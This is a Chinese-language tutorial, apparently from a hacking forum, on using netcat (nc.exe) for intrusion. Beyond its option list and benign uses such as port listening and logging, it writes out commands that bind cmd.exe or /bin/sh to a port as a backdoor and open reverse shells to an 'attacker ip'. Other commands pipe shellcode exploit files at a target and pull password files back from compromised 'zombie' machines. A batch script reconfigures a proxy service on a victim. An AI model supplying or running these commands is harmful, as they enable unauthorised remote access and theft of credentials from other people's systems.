nc.exe全稱NetCat,被譽為網絡安全界的"瑞士軍刀".nc.exe是一個非常標準的telnet客戶端工具,正因為它的強大功能使得它在入侵時被廣泛應用,成為黑客們的必備武器之一.
我把最近收集的nc.exe的使用方法整理了一下,發給大家.
另外還找到了一款改編後的可視化的nc,也提供給大家.
========================================================
軟件介紹:
工具名:Netcat
作者:Hobbit && Chris Wysopal
類別:開放源碼
平台:Linux/BSD/Unix/Windows
WINDOWS下版本號:[v1.10 NT]
========================================================
參數介紹:
*nc.exe -h*即可看到各參數的使用方法。
基本格式:nc [-options] hostname port[s] [ports] ...
nc -l -p port [options] [hostname] [port]
-d 後台模式
-e prog 程序重定向,一旦連接,就執行 [危險!!]
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h 幫助信息
-i secs 延時的間隔
-l 監聽模式,用於入站連接
-L 連接關閉後,仍然繼續監聽
-n 指定數字的IP地址,不能用hostname
-o file 記錄16進制的傳輸
-p port 本地端口號
-r 隨機本地及遠程端口
-s addr 本地源地址
-t 使用TELNET交互方式
-u UDP模式
-v 詳細輸出--用兩個-v可得到更詳細的內容
-w secs timeout的時間
-z 將輸入輸出關掉--用於掃瞄時
端口的表示方法可寫為M-N的範圍格式。
========================================================
基本用法:
1)連接到REMOTE主機,例子:
格式:nc -nvv 192.168.x.x 80
講解:連到192.168.x.x的TCP80端口
2)監聽LOCAL主機,例子:
格式:nc -l -p 80
講解:監聽本機的TCP80端口
3)掃瞄遠程主機,例子:
格式:nc -nvv -w2 -z 192.168.x.x 80-445
講解:掃瞄192.168.x.x的TCP80到TCP445的所有端口
4)REMOTE主機綁定SHELL,例子:
格式:nc -l -p 5354 -t -e c:\winnt\system32\cmd.exe
講解:綁定REMOTE主機的CMDSHELL在REMOTE主機的TCP5354端口
5)REMOTE主機綁定SHELL並反向連接,例子:
格式:nc -t -e c:\winnt\system32\cmd.exe 192.168.x.x 5354
講解:綁定REMOTE主機的CMDSHELL並反向連接到192.168.x.x的TCP5354端口
以上為最基本的幾種用法(其實NC的用法還有很多,
當配合管道命令"|"與重定向命令"<"、">"等等命令功能更強大......)。
========================================================
高級用法:
6)作攻擊程序用,例子:
格式1:type.exe c:\exploit.txt|nc -nvv 192.168.x.x 80
格式2:nc -nvv 192.168.x.x 80 < c:\exploit.txt
講解:連接到192.168.x.x的80端口,並在其管道中發送*c:\exploit.txt*的內容(兩種格式確有相同的效果,真是有異曲同工之妙.
附:*c:\exploit.txt*為shellcode等
7)作蜜罐用[1],例子:
格式:nc -L -p 80
講解:使用*-L*(注意L是大寫)可以不停地監聽某一個端口,直到ctrl+c為止
8)作蜜罐用[2],例子:
格式:nc -L -p 80 > c:\log.txt
講解:使用*-L*可以不停地監聽某一個端口,直到ctrl+c為止,同時把結果輸出到*c:\log.txt*中,如果把*>* 改為*>>*即可以追加日誌
附:*c:\log.txt*為日誌等
9)作蜜罐用[3],例子:
格式1:nc -L -p 80 < c:\honeypot.txt
格式2:type.exe c:\honeypot.txt|nc -L -p 80
講解:使用*-L*可以不停地監聽某一個端口,直到ctrl+c為止,並把*c:\honeypot.txt*的內容*送*入其管道中
10) 後門
victim machine: //受害者的機器
nc -l -p port -e cmd //win2000
nc -l -p port -e /bin/sh //unix,linux
attacker machine: //攻擊者的機器.
nc ip -p port //連接victim_IP,然後得到一個shell。
11)反向連接
attacker machine: //一般是sql2,遠程溢出,webdavx3攻擊.
//或者wollf的反向連接.
nc -vv -l -p port
victim machine:
nc -e cmd attacker ip -p port
nc -e /bin/sh attacker ip -p port
或者:
attacker machine:
nc -vv -l -p port1 /*用於輸入*/
nc -vv -l -p prot2 /*用於顯示*/
victim machine:
nc attacker_ip port1 cmd nc attacker_ip port2
nc attacker_ip port1 /bin/sh nc attacker_ip port2
139要加參數-s(nc -L -p 139 -d -e cmd -s 對方機器IP)
這樣就可以保證nc優先於NETBIOS。
12)傳送文件:
從肉雞拖密碼文件回來.
nc -d -l -p port < path\filedest /*attacker machine*/ 可以shell執行
nc -vv attacker_ip port > path\file.txt /*victim machine*/ 需要Ctrl+C退出
//肉雞需要gui界面的cmd裡面執行(終端登陸,不如安裝FTP方便).否則沒有辦法輸入Crl+C.
上傳命令文件到肉雞
nc -vv -l -p port > path\file.txt /*victim machine*/ 需要Ctrl+C退出
nc -d victim_ip port < path\filedest /*attacker machine*/ 可以shell執行
//這樣比較好.我們登陸終端.入侵其他的肉雞.可以選擇shell模式登陸.
結論: 可以傳輸ascii,bin文件.可以傳輸程序文件.
問題:連接某個ip後,傳送完成後,需要發送Ctrl+C退出nc .
或者只有再次連接使用pskill 殺掉進程.但是是否釋放傳輸文件打開的句柄了?
13) 端口數據抓包.
nc -vv -w 2 -o test.txt www.m4ker.net 80 21-15
< 00000058 35 30 30 20 53 79 6e 74 61 78 20 65 72 72 6f 72 # 500 Syntax error
< 00000068 2c 20 63 6f 6d 6d 61 6e 64 20 22 22 20 75 6e 72 # , command "" unr
< 00000078 65 63 6f 67 6e 69 7a 65 64 2e 0d 0a # ecognized...
< 00000084 83 00 00 01 8f # .....
14) telnet,自動批處理。
nc victim_ip port < path\file.cmd /*victim machine*/ 顯示執行過程.
nc -vv victim_ip port < path\file.cmd /*victim machine*/ 顯示執行過程.
nc -d victim_ip port < path\file.cmd 安靜模式.
_______________file.cmd________________________
password
cd %windir%
echo []=[%windir%]
c:
cd \
md test
cd /d %windir%\system32\
net stop sksockserver
snake -config port 11111
net start sksockserver
exit